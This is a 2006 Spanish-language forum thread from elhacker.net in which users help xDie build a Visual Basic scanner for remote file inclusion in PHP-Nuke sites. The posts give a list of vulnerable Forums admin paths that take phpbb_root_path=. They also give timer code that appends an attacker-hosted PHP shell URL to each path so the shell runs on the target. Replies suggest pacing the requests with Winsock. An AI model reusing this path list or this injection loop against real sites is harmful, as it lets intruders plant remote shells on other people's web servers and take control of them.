Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: xDie en 18 Septiembre 2006, 01:11 am



Título: Arrays
Publicado por: xDie en 18 Septiembre 2006, 01:11 am
Hola estoy haciendo un programa para probar si una web es vulnerable a rfi, tengo una lsita de las variables atacadas en php nuke, entonces lo que hago es una arreglo asi:
Código:
Dim VarBug(17) As String
VarBug(0) = "/modules/Forums/admin/index.php?phpbb_root_path="
VarBug(1) = "/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path="
VarBug(2) = "/modules/Forums/admin/admin_board.php?phpbb_root_path="
VarBug(3) = "/modules/Forums/admin/admin_disallow.php?phpbb_root_path="
VarBug(4) = "/modules/Forums/admin/admin_forumauth.php?phpbb_root_path="
VarBug(5) = "/modules/Forums/admin/admin_groups.php?phpbb_root_path="
VarBug(6) = "/modules/Forums/admin/admin_ranks.php?phpbb_root_path="
VarBug(7) = "/modules/Forums/admin/admin_styles.php?phpbb_root_path="
VarBug(8) = "/modules/Forums/admin/admin_user_ban.php?phpbb_root_path="
VarBug(9) = "/modules/Forums/admin/admin_words.php?phpbb_root_path="
VarBug(10) = "/modules/Forums/admin/admin_avatar.php?phpbb_root_path="
VarBug(11) = "/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path="
VarBug(12) = "/modules/Forums/admin/admin_forum_prune.php?phpbb_root_path="
VarBug(13) = "/modules/Forums/admin/admin_forums.php?phpbb_root_path="
VarBug(14) = "/modules/Forums/admin/admin_mass_email.php?phpbb_root_path="
VarBug(15) = "/modules/Forums/admin/admin_smilies.php?phpbb_root_path="
VarBug(16) = "/modules/Forums/admin/admin_ug_auth.php?phpbb_root_path="
VarBug(17) = "/modules/Forums/admin/admin_users.php?phpbb_root_path="


Ahora como hago para que me valla probando de a una, porque el bucle for es rapidismo no leda tiempo de carga ni nada.. no se y hacerla en un timer me parece boludo... como podria? gracias


Título: Re: Arrays
Publicado por: Mr.Chispa en 18 Septiembre 2006, 01:17 am
lo q podes hacer es poner una variable de control, q intente con la primera y cuando termine le sumas 1 a la variable d control y probas con el siguiente, si lo tas haciedno con el winsock le podes decir q le sume 1 cuando cierra la conexion y q intente denuevo


Título: Re: Arrays
Publicado por: MANULOMM en 18 Septiembre 2006, 04:34 am
otra opcion es colocar la instruccion sleep(1000) para que se espere un tiempo, lo de 1000 es equivalente a un segundo, ya vos lo cuadras....
para mi seria mas o menos asi:

Código:
For I = 1 to 17 
    VarBug(i)
    sleep(1000)
next
O halgo parecido!!!

Atentamente


JUAN MANUEL LOMBANA
MEDELLÍN - COLOMBIA


Título: Re: Arrays
Publicado por: xDie en 18 Septiembre 2006, 20:48 pm
Es en un webform, no nfuncioan con el sleep, nvoy a intentar ingeniarme para sumarle un valor mas dentro de un tiemer, salu2


Título: Re: Arrays
Publicado por: byebye en 18 Septiembre 2006, 21:02 pm
si estas usando el control winsock pues lo mismo, un array y conectas todos (o los que te permita el servidor) a la vez y esperas la respuesta si es vulnerable pues lo muestras y continuas con el siguiente elemento del array, si no es vulnerable pues continuas con el otro y asi con todos los elementos.


Título: Re: Arrays
Publicado por: Mad Antrax en 19 Septiembre 2006, 00:24 am
Lo que tienes que hacer es jugar con los eventos de MSWinsock. En el evento OnConnect pones algo así:

Código:
    Winsock1(Index).SendData "GET /index.php HTTP/1.1" & vbCrLf
    Winsock1(Index).SendData "Host: www.google.com" & vbCrLf
    Winsock1(Index).SendData "From: 0.0.0.0" & vbCrLf
    Winsock1(Index).SendData "User-Agent: Pruebas/1.0" & vbCrLf & vbCrLf

Solo tienes que ir variando la petición GET por un valor del array, primero empiezas por el 1, cuando el servidor responda miras los datos en DataArrival, si es positivo mandas un mensaje y llamas a la funcion ws.senddata (la de arriba) con un valor incrementado del array, asi hasta el valor 17.

No necesitas ni timers ni bucles ;)


Título: Re: Arrays
Publicado por: xDie en 19 Septiembre 2006, 00:25 am
Lo hago con un web form asi,
Código:
Private Sub Timer1_Timer()

If i < 53 Then
i = i + 1
Else
MsgBox "Ya termino el test, si vistes una shell en php, es porque es vulnerable", vbInformation + vbOKOnly, "Rfi to php nuke"
Timer1.Enabled = False
i = 0

End If

Wb.Navigate (txtUrl.Text & VarBug(i) & txtshell.Text)
barra.Value = i


End Sub
Osea el usuario va tener que ver un pantallaso de una shell, no se como buscar una paabra dentro del webbrowser osea dentro del documento.. alguien me peude ayudar???


Título: Re: Arrays
Publicado por: xDie en 19 Septiembre 2006, 00:30 am
Lo que tienes que hacer es jugar con los eventos de MSWinsock. En el evento OnConnect pones algo así:

Código:
    Winsock1(Index).SendData "GET /index.php HTTP/1.1" & vbCrLf
    Winsock1(Index).SendData "Host: www.google.com" & vbCrLf
    Winsock1(Index).SendData "From: 0.0.0.0" & vbCrLf
    Winsock1(Index).SendData "User-Agent: Pruebas/1.0" & vbCrLf & vbCrLf

Solo tienes que ir variando la petición GET por un valor del array, primero empiezas por el 1, cuando el servidor responda miras los datos en DataArrival, si es positivo mandas un mensaje y llamas a la funcion ws.senddata (la de arriba) con un valor incrementado del array, asi hasta el valor 17.

No necesitas ni timers ni bucles ;)

Mad no te entendido muy bien, osea no se coo hacerlo con winsock, yo suaba el control de internet pàra hacer peticones get desde el navegador mismo, ya que tengo una shell en otro server y lo que hago es sumarle el host, el directorio y el archivo donde se encuentra el bug y la shell. Gracias pro contestar


Título: Re: Arrays
Publicado por: Mad Antrax en 19 Septiembre 2006, 00:43 am
uf, usando el control de explorador de internet es distinto. Con Winsock te funcionaría mejor, ademas puedes evaluar la respuesta del servidor através del codigo de 3 digitos que devuelve el protocolo HTTP.

Pero si no sabes usarlo entonces no te compliques la vida. La mejor solución sería con winsock, pero si no puedes o no sabes usarlo entonces no se que otro método te queda. :(

Yo por mi parte he creado este mismo proyecto tuyo pero con otros datos y para otros fines, si tengo tiempo comento el código y lo hago público. Saludos !!!


Título: Re: Arrays
Publicado por: xDie en 20 Septiembre 2006, 02:34 am
uf, usando el control de explorador de internet es distinto. Con Winsock te funcionaría mejor, ademas puedes evaluar la respuesta del servidor através del codigo de 3 digitos que devuelve el protocolo HTTP.

Pero si no sabes usarlo entonces no te compliques la vida. La mejor solución sería con winsock, pero si no puedes o no sabes usarlo entonces no se que otro método te queda. :(

Yo por mi parte he creado este mismo proyecto tuyo pero con otros datos y para otros fines, si tengo tiempo comento el código y lo hago público. Saludos !!!
Robando la idea y no explicas como se hace.. gracias igual


Título: Re: Arrays
Publicado por: Mad Antrax en 20 Septiembre 2006, 07:58 am
Robando la idea y no explicas como se hace.. gracias igual

Juassss, robando la idea? Que idea? Crees que eso lo has inventado tu? Ademas mi proyecto hace como 6 meses que lo terminé, no he robado nada a nadie.

Paso de discutir con niñatos, y si lees bien dije que haría público el código para que lo vieras como se hace con winsocks, pero con frases como estas se le pasan a uno las ganas.

Que te ayude papa noël ahora :-*


Título: Re: Arrays
Publicado por: yeikos en 20 Septiembre 2006, 13:38 pm
Jaja, dejen de pelearse... xDie, utilizando el control Winsock va a ser mucho más limpio, más fácil y más efectivo. Si aún quieres hacerlo con el WebBrowser esto te puede ayudar:

Código:
Private Sub WebBrowser1_DocumentComplete(ByVal pDisp As Object, URL As Variant)

Pero es mucho más engorroso, porque la página puede tener frames/iframes y este sub se ejecutará tantas veces como cargue la página...


Título: Re: Arrays
Publicado por: xDie en 20 Septiembre 2006, 20:05 pm
Gracias yeikos pero lo voy hacer como dice madantrax, no se mucho de winsock pero gracias que existe el internet y voy a prender, despues publico el code,  Mad Antrax :rolleyes: